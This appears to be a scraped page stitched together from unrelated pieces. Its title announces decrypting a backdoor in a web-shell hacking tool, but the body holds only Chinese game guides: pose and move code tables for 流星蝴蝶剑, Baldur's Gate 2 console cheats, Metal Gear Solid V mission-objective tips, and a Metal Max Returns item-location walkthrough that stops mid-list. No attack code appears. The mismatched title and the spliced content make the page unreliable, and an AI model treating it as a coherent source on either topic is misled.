K8飞刀--解密过狗菜刀后门
流星蝴蝶剑9.07pose注解表(超完整版)
1 暗气-准备状态（未用）2 火铳-准备状态（未用）3 飞轮-准备状态（未用）4 刺-准备状态5 匕首-准备状态6 剑-准备状态7 长枪-准备状态8 大刀-准备状态9 大锤-准备状态10 蹲11 飞镖-防御动作（未用）12 飞轮-防御动作（未用）13 火铳-防御动作（未用）14 刺-防御15 匕首-防御16 剑-防御17 长枪-防御18 大刀-防御19 大锤防御动作20 异常状态21 游泳-水中漂浮22 复活同伴23 脚踢（未用）24 更换武器25 180转身-左（未用）26 180转身-右（未用）27 回马枪？（未用）28 空手夺白刃？（未用）29 伸手-右？（未用）30 伸手-左？（未用）31 （没有）32 孟星魂-挑衅-抬腿33 孟星魂-挑衅-收腿34 运气？（未用）35 倒36 换武器（空）37 （没有）38 （没有）39 （没有）40—88 防御被攻击，因武器和角度不同而姿势也有区别。
40-43飞标上下右左44-47飞轮48-51火枪56-59匕首60-63剑64-67长枪68-71大刀72-75大锤76 （没有）（77-88右左后：）77-79大锤80-82大刀83-85匕首86-88长枪490 493 指虎防御前494 497 乾坤前498 500 乾坤防御右左后501 504 忍刀闪前右左后505 508 乾坤闪前右左后509 512 指虎闪前右左后513 515 指虎防御右左后516 519 忍刀防御前89 （没有）90 挨打-后仰91 挨打-低头92 挨打左歪93 挨打-右歪94 挨打-后挨95 挨打-后翻96 挨打-倒地97 挨打-倒地-左翻98 挨打-倒地-右翻99 挨打-倒地-前翻100 挨打-向上飞起101（没有）102 挨打-向前飞103 挨打-向后飞104 挨打-向左飞105 挨打-向右飞106 挨打-向前飞107 挨打-向前飞（中）108 挨打-向后飞（中）109 挨打-低头（定）110 挨打-弯腰111 挨打-右滚112 挨打-左滚113 挨打-卧倒114 挨打-直接躺下115 挨打-直接趴下116 摇摆向后趔趄117 死亡118 鞠躬119 跌倒向后120 磕头向前121 摇头122—139（没有）140 走路（悄悄的）141 走路-右142 走路-左143 走路-后144 跑145 蹲走146 蹲走-右147 蹲走-左148 蹲走-后149 游泳-前（未用）150 行走-中缓慢151 跳152 小跳153 右跳跃154 小跳？155 跳跃（右倾）156 小跳157 后空翻跳158 小跳159 左跳跃160 跳跃（左右倾斜）161 爬墙162 爬墙-右163 爬墙-左164 前冲-1165 前冲-2166 前冲-3167 右闪-1168 右闪-2169 右闪-3170 左闪-1171 左闪-2172 左闪-3173 后闪-1174 后闪-2175 后闪-3176 前滚翻177 右滚翻178 左滚翻179 后滚翻180 跳（特别小）181—199（没有）招式POS代码：普通招式代码200 §暗器A209 §暗器上A 210 §暗器下A 203 §暗器必杀206 §火枪A207 §火枪下A 215-217§火枪必杀218 §飞轮A220 §飞轮上A 222 §飞轮下A 224 §飞轮必杀230-232 §双刺A 233-234 §双刺上A 237 §双刺右A 238 §双刺左A 239 §双刺左右A 240 §双刺下上A 241-242§双刺下A 243 §双刺上上A 244 §双刺必杀226-227 §双刺A (空228-229 §双刺上A (空235-236 §双刺下A (空248-249 §匕首A250-251 §匕首上A253 §匕首上上A254 转至370 §匕首左A 255 §匕首右A257 §匕首下上A259 §匕首必杀245-247 §匕首A （空）252 §匕首下A（空）256 §匕首上下A（空）343 §匕首下A262-264 §剑A266 §剑上A267-268 §剑下A269 §剑左A270 §剑右A271 §剑下下A272-273 §剑下上A274 §剑上下A275-276 §剑上上A277 §剑下上上A368-369 §剑必杀260-261 §剑BA265 §剑下A （空）279-281 §枪A284 §枪下A285 §枪上A286 §枪右左A287 §枪下下A288 §枪下上A289 §枪上上A290 §枪左右A291 §枪下下上A292 §枪左右上A293-294 §枪必杀338 §枪A （空）282-283 §枪下A（空）295-297 §刀A299 §刀上A300 §刀下A301 §刀左A302 §刀右A303-304 §刀上上A305§刀下上A306-307 §刀下下A374-375 §刀左右A309 §刀左右上A310-314 §刀必杀298 §刀下A（空）315 §锤A316 §锤上A317 §锤下A318 §锤下A （空）319 §锤下上A320 §锤上上A321 §锤下下A322 §锤左右A323 §锤右左A324 转至372§锤左右下A 325-327 §锤必杀327 329 锤落地收势330 （无）331 锤隐藏招332 333 落地334 335（无）336 右捋！！！337 无338 刀锤空踹339 落地接上式349 右手抽刀？350 364 双刺绝？357 左弹踢358 左下劈360 腾空左边退361 接上式腾空后摆腿365 366无202 §暗器A （空）367 §暴气368-369 §剑必杀370 371§匕首左A372 373§锤左右下A 374-375 §刀左右A400 指虎准备状态401 乾坤持刀准备402 乾坤持枪准备403 乾坤收刀准备404 忍刀准备214 §暗器前A（空）999 §后退405-406 §指虎A （空）407-409 §指虎A410 §指虎下A （空）411 §指虎左右A412 §指虎左左A413 §指虎右右A414 §指虎下A415 §指虎下下A416 §指虎左右上A 417 §指虎下上A418 §指虎上上A419 §指虎上下A420 §指虎下上上A 421-426 §必杀426 必杀空中下爆427 429 落地收势430 §乾坤转持枪左A 431 §乾坤转收刀下下A 432-434 §乾坤持刀A 438-439 §乾坤持刀下A 440 §乾坤转持刀右A 441 §乾坤转收刀A442 §乾坤持枪A443 §乾坤持枪上A 444 §乾坤持枪上上A445 §乾坤持枪下A447 §乾坤持枪转持刀右A448 §乾坤转持枪左A520-523 §乾坤收刀A449 §乾坤收刀下上A450 §乾坤收刀上下A451-456 §乾坤必杀458 §乾坤空A459 落地接上式446 §乾坤空下A489 §同乾坤绝终极（？未用）490 493 指虎防御前494 497 乾坤前498 500 乾坤防御右左后501 504 忍刀闪前右左后505 508 乾坤闪前右左后509 512 指虎闪前右左后513 515 指虎防御右左后516 519 忍刀防御前忍刀523 §左左A542 §右左A 2540 541 §右左A461 §A 1462 §A 2463 §前A464 §后A465 §后A 空466 §前后A 1467 §前后A 2468 §自爆470 §后后前A471 §后前A472 §左右前A473 §忍爆弹474 §忍必杀478 §空斩1479 §空斩2526 §地前瞬移527 §地后528 §地左530 §空前531 §空后532 §空左533 §空右534 隐身小绝535 536 自爆小绝新小必杀暗器201 §地551 §空飞轮552 §地554 §空火枪215双刺556 §旋转557 §加速匕首558 §地绝559 §天绝剑560 §双斩561 §旋转长枪571 §破防刺562-563 §旋风刀572 §旋风斩565 §雷霆大锤566 §晕眩乾坤刀570 §掷568-569 §升未用招式537 §土遁起(隐藏招式)538 §土遁收(隐藏招式)===============POES修改人物文件注解===============P0.POS=孟星魂P1.POS=冷燕P2.POS=铁胡子P3.POS=夜猫子P4.POS=破空P5.POS＝冯浩P6.POS＝孙剑P7.POS＝萧安P8.POS＝子舆P9.POS＝王强P10.POS＝无名P11.POS＝叶翔P12.POS＝小何P13.POS＝凤凰P14.POS＝石群P15.POS＝屠城P16.POS＝范旋P17.POS＝高寄萍P18.POS＝孙玉伯P19.POS＝律香川===============地图修改注解===============SN01＝钟乳洞SN02＝秦皇陵SN03＝一线天SN04＝炽雪城SN05＝皇天城SN06＝四方阵SN07＝死之阵SN08＝毒牙阵SN09＝决死阵SN10＝炼铁狱SN11＝五爪峰SN12＝烽火雷SN13＝金华城SN14＝炎硫岛SN15＝飞鹏堡SN16＝五雷塔SN17＝伏虎山SN18＝圆满楼SN19＝洛阳城SN20＝卧龙窟SN21＝圣诞夜SN22＝威震八方===============AI制作道具补全===============中庸飞镖=1 飞轮=2 火枪=3 双刺=4 匕首=5 轻剑=6长枪=7 大刀=8 大锤=9 干坤刀=47 指虎=51 忍刀=55高攻飞镖=10 飞轮=11 火枪=12 双刺=13 匕首=14 轻剑=15长枪=16 大刀=17 大锤=18 干坤刀=48 指虎=52 忍刀=56高防飞镖=19 飞轮=20 火枪=21 双刺=22 匕首=23 轻剑=24长枪=25 大刀=26 大锤=27 干坤刀=49 指虎=53 忍刀=57高敏飞镖=28 飞轮=29 火枪=30 双刺=31 匕首=32 轻剑=33长枪=34 大刀=35 大锤=36 干坤刀=50 指虎=54 忍刀=58圣诞雪球(飞镖)=37 飞碟(飞轮)=38 拉炮(火枪)=39 星星(双刺)=40 拐杖糖(匕首)=41仙女棒(轻剑)=42 雪地铲子(长枪)=43 特大抓痒器(大刀)=44 大棒棒糖(大锤)=45 铃铛(飞镖)=46===============地图修改和武器修改===============(长剑):中→W0_0.GMC 攻→W0_1.GMC 防→W0_2.GMC 敏→W0_3.GMC(匕首):中→W1_0.GMC 攻→W1_1.GMC 防→W1_2.GMC 敏→W1_3.GMC(火枪):中→W2_0.GMC 攻→W2_1.GMC 防→W2_2.GMC 敏→W2_3.GMC(飞标):中→W3_0.GMC 攻→W3_1.GMC 防→W3_2.GMC 敏→W3_3.GMC(重锤):中→W4_0.GMC 攻→W4_1.GMC 防→W4_2.GMC 敏→W4_3.GMC(大刀):中→W5_0.GMC 攻→W5_1.GMC 防→W5_2.GMC 敏→W5_3.GMC(飞轮):中→W6_0.GMC 攻→W6_1.GMC 防→W6_2.GMC 敏→W6_3.GMC(长枪):中→W7_0.GMC 攻→W7_1.GMC 防→W7_2.GMC 敏→W7_3.GMC(双刺):中→W8_0r.GMC 攻→W8_1r.GMC 防→W8_2r.GMC 敏→W8_3r.GMC====================================================================== 右手(干坤刀)中→W9_0r.gmb 攻→W9_1r.gmb 防→W9_2r.gmb 敏→W9_3r.gmb左手(干坤刀)中→W9_0l.gmb 攻→W9_1l.gmb 防→W9_2l.gmb 敏→W9_3l.gmb右手(指虎):中→W10_0r.gmb 攻→W10_1r.gmb 防→W10_2r.gmb 敏→W10_3r.gmb左手(指虎):中→W10_0l.gmb 攻→W10_1l.gmb 防→W10_2l.gmb 敏→W10_3l.gmb(忍刀):中→W11_0.gmb 攻→W11_1.gmb 防→W11_2.gmb 敏→W11_3.gmb==========================================综合知识补充===============================================cmodel主要是道具模型，没深入研究，现在已知的是可以改攻击范围和道具大小，典型实例：长剑生成器Common中的character.act就是武器基出出招连招表，具体在pmodel中，对应各人，这个对应全体。
博德之门2作弊
开启作弊模式为了使用以下的作弊码，必须用文本编辑器来编辑游戏安装目录下的Baldur. ini 文件。
找到文件中的[ Program Options] 这行，在它下面插入这么一行：“Debug Mode=1”（引号不用写）。
保存并退出。
这样你就可以在游戏中呼出控制台，并输入作弊码了，呼出控制台的方法是用组合键“CTRL+SPACE”。
请注意，游戏控制台命令的书写严格要求字母的大小写，故不要输错。
无限金钱使用这个方法你可以获得你想要的任何数量的金钱。
打开控制台，并输入：CLUAConsole: AddGold( ) ，在括号中写上你想获得的金钱数量。
看看，你马上就获得相应数量的金钱了。
无限经验不要让角色的经验超过300 万。
打开控制台，并输入：CLUAConsole: SetCurrentXP( ) ，先选择想修改经验的角色，在括号中写上想设置的经验值。
打开地图这个作弊码可以打开地图上任何你未曾探索过的地域。
打开控制台，并输入: CLUAConsole: ExploreArea( ) 属性最大化如果你设置debug mode=1 或者cheats=1，当你按下CTRL+SHFT+8 时，你所有的属性会被最大化。
如果此前你曾经降低过某项属性的话，现在你可以将某些属性提高到19（当然，你所属的种族得允许它达到19 才行）。
瞬间移动大法这个密技可以让你瞬间移动到游戏中的任意一个地方去，但是记住在移动前选择你所有的队友，要不然就只有你一个人去了。
在控制台中键入MoveToArea 并在后面写上想去地方的坐标就行了。
以下列出了一些重点地点的坐标，你在任何地方都可以通过按下“x”键来得知当地的坐标。
Temple District=AR0900 Graveyard District=AR0800 Slums District=AR0400 Waukeens Promenade=AR0700 Government District=AR1000 Bridge District=AR0500 Docks District=AR0300 CityGates=AR0020 Umar Hills=AR1100 Suldanesslar=AR2500 The Nine Hells=AR2900 Domain of the Dragon=AR1201 Asylum Dungeon=AR1512 Bodhis Dungeon=AR0801 Astral Prison=AR0516 Planar Sphere=AR0411 Cult of the Unseeing Eye=AR0202 Rift Dungeon=AR0204 Demon Outerworld=AR0414 De' Arnise Hold=AR1300 Trademeet=AR2000 Druids Grove=AR1900 欺骗键欺骗键可以让你治疗自己以及队友，杀死敌人以及在屏幕范围内瞬间移动。
(整理)《合金装备5：幻痛》全任务目标达成要点解说.
《合金装备5：幻痛》全任务目标达成要点解说今天小编给大家带来《合金装备5：幻痛》全任务目标达成要点解说，一起来看看吧。
108小时，终于全任务S全任务目标达成了话说全目标达成除了个纹章也没啥特殊奖励以下我只说下要点，因为游戏自由度相当高，只是给大家提供一个思路。
真正的打法各位还是去游戏里自己摸索吧。
另，因本人玩的是日版，故以下部分用语以日版为准文中提到的地图的上下左右，以正北方向为上部分任务目标要求很苛刻，建议主线通关之后再来回收，会简单不少，特别是要完成虫洞气球之后。
任务目标达成之后直接取消任务，已经达成的目标也算是达成，没必要打完任务。
有些任务目标互相矛盾，必须打两遍。
全目标和S评价同时达成相当困难，建议单独刷目标。
大部分的找人找道具的目标，拷问小兵小兵都会第一时间告诉你。
建议不懂就问人。
序章1 一次都没有使用子弹时间模式设定菜单里关掉子弹时间模式就行了，记得打完后再改回来2 骑马时，一次都没被火男攻击到用武器狂轰就行了，注意连马一起被火烧到的效果其实不算被攻击ep11 找到kaz主线2 回收kaz主线3 回收ワク?シンド分屯地（地图左上要塞）的队长基地里随机位置的样子，没有提示，戴着红色贝雷帽的就是队长4 不被骷髅兵发现通关可以走骷髅兵旁边慢慢走过去我的打法是在骷髅兵的路径上放4颗C4，直接炸死。
左边的两个会朝着kaz方向，右边两个会朝着snake方向移动5 スプグマイ離宮（关卡开始时的遗迹）里找到隐藏的钻石不在遗迹里，在遗迹北面的斜坡上，有个裂缝可以攀岩的地方，上去之后就能看到6 回收卡车司机卡车在游戏地图里不停移动，可以在一开始的村落或kaz在的村落里找到。
或是在半路上打劫。
ep21 完成气球回收训练2 回收staff3 研发纸箱4 完成抓人训练5 完成格斗训练都是基础训练，根据提示做就行ep31 排除队长杀掉或是回收都行2 100m之外让队长无力化直接狙杀或是麻醉狙麻醉，只要麻醉一次就算被敌人叫醒也算达成3 回收队长回收就是了4 ジャゴ村落与スプグマイ離宮间的沙漠（地图右侧）里找草药要在任务一开始就去做，等任务完成后草药就在范围外，拿不到了建议带上狗，会给你自动标记草药位置5 找到村里隐藏的资源拷问小兵小兵会告诉你，在村子左方的桥下ep41 找到通信设备三个天线，或是下面的电台，用望远镜看到会自动标记2 破坏通信设备破坏三个天线，或者直接破坏下面房子里的电台3 找到隐藏的钻石拷问小兵小兵会告诉你位置，在基地左边的山里，要从下方绕路进去4 破坏通信机破坏房子里的电台5 回收ウィロア村落(地图左边村落)里的2名俘虏带狗或是拷问小兵找吧6 回收通信所内的资源集装箱需要高级气球，第一次玩肯定没法达成ep51 回收科学家主线2 利用地下室房顶的破洞回收科学家把科学家搬到破洞正下方回收3 找到逃走的俘虏俘虏坐在要塞大门正上方……4 回收吉普车车子在据点间巡回，一般就停在要塞脚下5 找到设计图拷问小兵小兵会告诉你，在要塞东面的房子里ep61 找到蜜蜂主线2 打败骷髅兵用刚拿到的蜜蜂射吧，打死一只就行了3 将蜜蜂连弹药回收别把炮弹打光了，就剩1发也算达成4 回收俘虏建议在一开始的大桥处就回收掉，不行的话也要在被带进遗迹前回收后面俘虏被带进遗迹最里面之后就无法回收了，就算救出来也会在剧情动画后自动消失……5 回收山岳中継基地（大桥）的2名狙击手回收就是了6 击落直升机后期拿火箭筒来射吧ep71 排除队长12 排除队长23 排除队长3主线，不尽快在村里排除的话会离开村子，需要一个人一个人找另外在村里被敌人发现的话，队长们会中断谈话立即逃走4 回收坐车护卫队长的士兵4人5 回收3名队长回收6 听完队长们的对话在隔壁房子里偷听，消灭周围的敌人容易被发现，听完再开杀7 回收村里的俘虏2名拷问小兵或带狗找ep81 找到计划书在地图中部的村里的司令部里2 排除大队长3 排除全部坦克主线4 回收大队长回收5 在大队长和坦克到达スマセ砦（最右侧）之前排除在路上搞定就行6 回收村里的俘虏问人或带狗7 回收全部2台坦克回收建议用电磁地雷之类ep91 排除装甲车2 排除复数台车辆或直升机2台以上即可3 不受补给破坏全部装甲车一共7辆，准备好地雷和火箭筒吧。
SFC重装机兵MMR全物品搜索攻略隐藏道具
S F C重装机兵(M M R)全物品搜索攻略、隐藏道具*全物品搜索攻略*?在大地图上调查随机得到：1G 回复胶囊小石子大石子回旋扳手绯牡丹匕首白线手套报废的护甲?各旅馆花盆调查随机得到：生化麦芽?*拉多主角家*?1F?计算机：LOAD（BS功能-升级所需经验值查询）?2F?木箱：7G 床头柜：姐姐的毛巾床头柜：姐姐的围裙（需要到罗克买个床头柜4000G）?床头柜：父亲的衬衣燃气橱柜：消火器水龙头橱柜：杀虫剂?*拉多旅馆*?1F?床头柜：蚊香床头柜：蚊香?2F?床头柜：松的肥皂床：1G 回复胶囊小石子大石子回旋扳手绯牡丹匕首白线手套报废的护甲（此床所有物品无限拿）?*拉多明齐家*?冰箱：冰冻细胞水龙头橱柜：消火器?*拉多南洞穴*?1F?木箱：回复胶囊木箱：57G?-1F?木箱：古币木箱：106G 木箱：迷彩服战车：37MM炮哈尔900型甲壳虫式电子墙开关：OPEN（打开就关不掉了）?*拉多北洞穴*?1F?木箱：76G 木箱：手榴弹木箱：装甲包40（车载）?-1F?木箱：霰弹枪?-2F?木箱：机关枪（车载这个箱子下方是个陷阱）?*拉多北关卡*?冰箱：回复饮剂水龙头橱柜：碱性喷雾剂燃气橱柜：碱性车蜡后院的计算机：OPEN（关卡大门的开关需要ID卡C）电视前右边男子：ID卡C（对话选“是”得到必须将战车停在关卡内他才给租来的车无效！）?*麦基番薯田*?耕地：结婚戒指?*麦基民家*?桌前女人：红宝石镜片（用结婚戒指换取）水龙头橱柜：蚊香燃气橱柜：消火器木箱：回复胶囊木箱：7G 床头柜：麻痹散?*麦基人类用品店*?木箱：火箭礼花木箱：袜子木箱：白线手套?*麦基传送站右边屋子*?-1F?地面隐藏：铆钉枪（下2左1）?*麦基周边*?地面隐藏：双重链锯（右3上15）地面隐藏：2010G（左10上13）*麦基南海边补给所*?2F?床头柜：蚊香床头柜：蚊香床头柜：中和乳霜?*波布机械师家*?1F?燃气橱柜：消火器水龙头橱柜：蚊香冰箱：回复饮剂冰箱：回复饮剂床头柜：44大型左轮床头柜：中和乳霜衣柜：虎皮帽衣柜：皮手套衣柜：高跟鞋?2F?木箱：修理工具箱?*波布旅馆*?床头柜：松的肥皂床头柜：松的毛巾*波布学校*?燃气橱柜：修理工具箱?*波布西林中隐秘村庄*?大屋?床头柜：防护皮甲床头柜：棒球帽床头柜：古币燃气橱柜：消火器水龙头橱柜：杀虫剂? 小屋2F?床头柜：皮手套?*波布西林中隐秘村庄周边*?地面隐藏：乌兹冲锋手枪（右6上7 面对右边的树）?*波布南机械师爷爷的家*?外屋?冰箱：回复饮剂燃气橱柜：消火器?帐篷?床头柜：DD菠萝弹?*波布东海岸工厂*?1F?计算机：ON（防御机器的开关打开后在1F的3个路口发生战斗）计算机：FLOW前进BAC K后退?2F?计算机：ON（防御机器的开关打开后在2F的2个路口发生战斗）计算机：FLOW前进BAC K后退花盆：柔软果子花盆：柔软果子?3F?战车：花纹座套格林炮哈尔900型甲壳虫TI式?*麦基北巨炮阵地*?巨炮残骸：35MM机关炮（车载）巨炮残骸：35MM机关炮（车载）?*巨炮阵地北老婆婆的家*?燃气橱柜：消火器水龙头橱柜：碱性车蜡?*奥多旅馆楼*?2F?床头柜：麻痹散?*奥多战车服务楼*?2F?木箱：消火器木箱：麻痹散床头柜：碱性车蜡床头柜：修理工具箱衣柜：皮衣冰箱：中和乳霜?*奥多旅馆楼周边*?地面隐藏：沃兹耐尔克SI型（车载右18上17 3棵树中间！）?*奥多东南帕特港北建筑*?3F?木箱：484G 木箱：高跟鞋?*奥多东南帕特港东建筑*?2F?男人亚智：房门钥匙（打败左边屋子的异形他才会给）木箱：万能钥匙（用房门钥匙开门）?*奥多东南帕特港南建筑*?1F?战车：发音盒a 160MM未定型炮格林炮沃兹耐尔克II型疾风式?*奥多东南帕特港西建筑*?木箱：火焰枪木箱：纹身贴纸木箱：609G?*罗克旅馆*?2F（这是松的房间住进去需要每人花100G）?床头柜：松的拖鞋床头柜：松的毛巾床头柜：松的肥皂?*罗克周边*?地面隐藏：4880G（下23右23 踩到小树上）?*罗克西无敌病院*?1F?水龙头橱柜：冷冻瓶?2F?床头柜：错乱注射器床头柜：麻醉胶囊木箱：回复饮剂木箱：硝化甘油酒瓶衣柜：指挥官风衣?-1F?木箱：ID卡O（用万能钥匙开门）衣柜：马歇尔（他可真会藏！……*_*！）战车：医疗装置哈尔900型巨型公牛式?*罗克东地藏菩萨洞*?木箱：9MM机关枪（车载）?*弗里大楼*?4F?冰箱：冷冻瓶冰箱：冷冻瓶水龙头橱柜：硝化甘油酒瓶水龙头橱柜：硝化甘油酒瓶燃气橱柜：消火器?3F?木箱：换气装置（车载）木箱：西伯利亚大衣冰箱：冰冻细胞冰箱：冻肉冰箱：坚硬细胞冰箱：冰冻细胞（从4F右上角的楼梯下去）?1F?大象站的地方：象牙（车载）木箱：感恩II型（车载）?*弗里东北补给小屋*?后院地洞?地面隐藏：105MM加农炮（车载左1下17）?*弗里周边*?地面隐藏：5500G（这个位置宏观来讲在世界地图的右上角，局部来讲在弗里东北的海角，朋友们看到海边成一个小“V”字形状了吗？站在“V”字形的右边调查就可以了，找不到的话就直接用金属探知机吧，金属探知机在弗里买！）?*弗里东海洞*?1F?地面隐藏：沃兹耐尔克II型（车载上5左6）?-2F（这个-2F不是通往-3F的过道而是个死胡同）?地面隐藏：V24超人式（车载左8上9）?-3F?地面隐藏：工地安全帽（下3右9）地面隐藏：下14右7（车载装甲包80）地面隐藏战车：铅蘑菇4个 95MM炮（下13右9 铅蘑菇到塔镇洗掉）*弗里北日冕大楼*?6F?木箱：1495G?13F?木箱：金棒?19F?木箱：防毒面具?20F?抽屉：防弹假发箱子：礼帽?*波布东吉田生命研究所*?生产履带：再生胶囊（炸了日冕大楼后坐人类时空传送机就会来到这里开动生产机器前的电脑吧）?*伊尔酒吧*?衣柜：桑拿浴紧身服化妆品台：口红（这个地方坐着人拿不到要得到这个东东可要一步步来①跟娜娜对话选“是”娜娜就是左边坐着的舞女②看表演必须要看但不需要看完③出酒吧再进酒吧④跟后台的男人对话他会让开⑤看演出这时就可以从后台进去拿口红了！……看了“鬼神”的贴才知道有口红拿感谢！）?*伊尔旅馆*?床头柜：松的毛巾床头柜：松的肥皂?*伊尔民居*?左?燃气橱柜：催眠瓶水龙头橱柜：蛊惑瓶?中?燃气橱柜：修理工具箱衣柜：皮衣?右?燃气橱柜：消火器衣柜：消防服?*无歌村旅馆*?床头柜：松的毛巾床头柜：松的肥皂?*无歌村周边*?地面隐藏：固体燃烧弹炮（车载上1右10 其实就是无歌村上游渡口的右2上3 注意该地点有颗地雷）?*无歌村下游渡口周边*?地面隐藏：V48金刚式（车载下10右3）?*索鲁民居*?左?燃气橱柜：消火器冰箱：冷冻瓶床头柜：麻醉胶囊?右（拿了4号车才能到这边）?床头柜：接地尾线（从后门进）?*索鲁旅馆*?2F?床头柜：碱性喷雾剂木箱：飞车特技装?*索鲁战车补给店*?2F?床头柜：通缉犯照片（电水母）?*索鲁下水道*?木箱：眼镜镜片木箱：金属护腿?*索鲁*?战车：11MM火神炮沃兹耐尔克II型涡轮动力式?*索鲁战车物品店*?计算机：LOAD（BS功能-租车需要租够8辆车而且要用租来的车赚够3850G才能LOAD 并不是每辆车都要赚够3850G 8辆车加起来够就可以或者用1辆车赚够了就行但是必须租够8辆……当时看了“鬼神”的贴才知道要这样才能LOAD）?*索鲁周边*?地面隐藏：48MM机关炮（车载从索鲁左下边出来是右1上6 从索鲁右下边出来是上6）?*东西地铁*?首先大致说一下结构免得转向整个地铁从西至东经过3个地方西端是地狱门中间是索鲁东端是弗里东端的弗里是游戏过程中较早能够到达的地方从弗里向南走就可以看到一个洞进去之后就是地铁最东端了一直往西走会发现地铁车厢需要步行穿过再往西走有个帐篷帐篷里能下载BS功能再往西是索鲁和双子大楼继续往西就是地狱门了地铁内的物品全在索鲁附近?书柜：ID卡P（从索鲁南边的洞下去右12上4 面对书柜）帐篷内的计算机：LOAD（BS功能-归还这个帐篷在地铁车厢往左至索鲁的路上）地面隐藏：榴弹冲锋枪（从地铁车厢左端进下层右4上6）地面隐藏：180连环炮（车载从下载BS功能的帐篷右边向上然后进下层右8上16）?*索鲁双子大楼*?双子大楼进入法：从索鲁镇内部是进不去的 1F的4个门都关着只能从索鲁南边的洞下去下去后往上走遇到岔路也都是往上走最后来到双子大楼地下停车场也就是-1F 双子大楼分左右两部分东西很多我将在后面注明L和R L代表该物品必须从左边才能拿到 R代表右有些地方有防御机器我注明了战斗次数大楼内的计算机和电子门我也做了说明 ok,le t's go!?4F 中间的走廊两端各战斗1次?5F?花圃：瘫软种子（无限拿）抽屉：全满饮剂?6FR 开锁进入中间的房间后战斗1次?中间房间的6台计算机中2台故障其他4台OPEN后分别打开1F的4个门?7FL?抽屉：麻痹散保险柜：9999G?8F?灰色柜子：碱性喷雾剂保险柜：防弹假发?9F BOSS战如果打开左边的计算机则在电子门战斗1次左边电梯旁战斗1次右边电梯旁战斗1次（只跟开计算机有关跟开不开电子门无关）?打开电子门需要ID卡P（此门形同虚设）打开计算机同样需要ID卡P 抽屉：最终风暴枪（不打败BOSS是进不来的）11F?打开电子门也需要ID卡P（同样形同虚设）中间的5台计算机中2台故障（就是载车电梯旁边那2个载人电梯故障）其他3台分别打开左边各楼层的3个载人电梯不同电梯能去的楼层也不同（左1 10 20-32 中1 10-32 右1-15 载车1-15）?12F?花圃：瘫软种子（无限拿）抽屉：回复饮剂?14F?抽屉：酸铁炮?15F?燃气橱柜：高温作业服?16FR?抽屉：中和乳霜?17FR?衣柜：冰球面具?18FR?抽屉：染血的记事本?19FL?旅馆（这里必须坐电梯才能来）?20FL?衣柜：聚酰胺耐热服?21FL?抽屉：碱性车蜡（必须坐电梯）?22FL?抽屉：错乱注射器（必须走楼梯）?23FL?衣柜：人造纤维头盔?26FL?衣柜：高腰身甲（必须走楼梯）抽屉：麻醉胶囊（必须坐电梯）?32FL?信息板：261241（开启地狱门的密码）?*伊甸*?帐篷?冰箱：全满饮剂?车厢1?燃气橱柜：消火器?车厢2?燃气橱柜：硝化甘油酒瓶冰箱：冰冻细胞?*伊甸周边*?地面隐藏：5500G（下14右14 面对上边的树）?*南北地铁*?自动售票机：ID卡M（从伊甸南边的洞下去后再下一层上27 面对上边的窗口）木箱：巨型公牛式（车载）?*电波塔*?2F?木箱：重金属手套?3F?木箱：防弹背心?-1F?偶人（跟它对话选“是”然后就能拖着走了把它还给3F那个男人他会告诉我们“在2F推动红色偶人可以挡住黑色偶人”聪明人没有这句话一样能上到5F）?5F?计算机1：LOAD（BS功能-回收）计算机2：LOAD（BS功能-卫星攻击需要ID卡M）?*电波塔周边*?地面隐藏：177MM未定型炮（车载下1右7）?*塔镇南大瀑布*?木箱：金棒木箱：大款钱包衣柜：金属格斗装衣柜：高弹力靴冰箱：浓缩酸液水龙头橱柜：汪汪狗食燃气橱柜：蛊惑瓶?战车：皮革坐垫接地链条 165MMT型炮 15MM机关枪 S龙卷风炮（托卢）所罗门2型 OHC 卡门式*塔镇*?既然来了就不得不提塔镇中的帐篷在打折时会出现一位商人因为必须在整点时才打折所以好多朋友根本没遇到过或是没在意我把这里出售的物品整理一下（这里卖的东西都不错）?TNT风暴炮/12000G 光束暴雪枪/15000G 狙击手头盔/2100G 战斗指套/2850G 举重运动靴/2 100G?*塔镇帐篷*?衣柜：中东人头巾燃气橱柜：消火器?*塔镇旅馆*?2F?床头柜：蚊香床头柜：蚊香?3F?衣柜：松的女袍衣柜：松的女袍床头柜：松的拖鞋?*塔镇民居*?燃气橱柜：杀虫剂水龙头橱柜：汪汪狗食床头柜：中和乳霜衣柜：钢铁护胸?*塔镇西北绿洲*?2F?床头柜：钢铁束腰胸甲床头柜：兄长的相片（帕鲁）?*塔镇东北有机废弃物投弃场*?1F?电子开关：OPEN（履带开关需要ID卡U 打开后会在门口与防御机器发生战斗）灰色柜子：ID卡U?-1F?计算机：ON（履带开关）?-3F?木箱：防护皮甲木箱：手持火神炮?-5F?木箱：浓缩酸液?*塔镇东北垃圾站周边*?地面隐藏：ATM红牡丹导弹（车载上9右2）?*卡拉旅馆*（松的房间）?衣柜：松的女袍衣柜：松的拖鞋衣柜：松的毛巾衣柜：松的女袍床头柜：松的肥皂冰箱：浓缩酸液?*卡拉比米家*?燃气橱柜：消火器?*卡拉民居*?衣柜：重型皮外套床头柜：红牡丹胸甲燃气橱柜：消火器水龙头橱柜：蚊香冰箱：痘痘细胞?*卡拉周边*?地面隐藏：雷电机关枪（车载右4上3）*卡拉北废弃基地*?1F?计算机：OPEN履带总开关（需要ID卡E）计算机：ON（1F履带开关）计算机：FLOW前进BACK后退木箱：西红柿飓风炮（车载）衣柜：咆哮枪?-1F?计算机：ON（-1F履带开关）计算机：FLOW前进BACK后退?-2F?电子门：OPEN（需要ID卡O）战车：180MM火箭炮追击激光机枪 LI花生米炮沃兹耐尔克II型飞火卡门式?*卡拉北废弃基地小楼*?3F?衣柜：CVC隔热绝缘服衣柜：凯旋大衣?4F?木箱：防弹背心衣柜：等离子暴雨枪抽屉：ID卡E?*卡拉北博士小屋*?计算机：OPEN（打开小屋的门）亚米博士：激光炮（集齐3-4枚镜片与他对话得到）?*卡拉东遗迹*?首先说一下这里怎么出现&怎么进去：①去塔镇买降水机器人150G②跟卡拉吧台喝酒的男人对话③跟造激光炮的博士对话④回卡拉MMR中可以用传真传回去⑤在山火前使用降水机器人⑥在白色的大门前使用万能钥匙（这个触发条件最早看到时忘了是谁写的后来在专题站看到原作者是“明神”感谢！）?-1F?电子门开关：OPEN（需要ID卡T）?-2F?木箱：光束机关枪（车载）木箱：ID卡T?-3F?木箱：镜头镜片木箱：175MM加农炮（车载）木箱：195MM加农炮（车载）木箱：165MM 